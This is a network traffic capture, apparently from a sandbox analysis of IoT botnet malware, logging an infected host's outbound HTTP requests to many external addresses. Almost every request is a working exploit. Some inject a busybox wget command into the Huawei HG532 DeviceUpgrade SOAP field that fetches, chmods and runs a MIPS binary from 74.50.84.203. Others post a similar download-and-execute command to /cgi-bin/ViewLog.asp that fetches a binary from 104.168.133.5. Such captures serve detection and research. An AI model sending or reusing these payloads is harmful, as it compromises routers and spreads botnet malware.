Nov 23, 2023 05:17:45.146338940 CET	391	IN	HTTP/1.1 405 Not Allowed Server: Web server Date: Thu, 23 Nov 2023 04:17:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 155 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.13	36828	95.86.89.20	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.985718966 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.13	50080	156.230.18.102	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:45.891081095 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:50.118257999 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:56.262207031 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:08.294208050 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.13	42904	31.61.127.226	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:46.432944059 CET	355	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips
Nov 23, 2023 05:17:49.606333017 CET	355	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.13	56480	41.37.44.166	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:46.866241932 CET	886	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:48.262404919 CET	886	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:48.540235996 CET	236	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.13	49154	62.29.61.149	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:47.511138916 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:51.654233932 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.13	40348	94.121.190.158	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:47.666558981 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.13	45752	95.86.93.176	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:47.690603971 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.13	48700	62.94.63.138	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:47.778994083 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
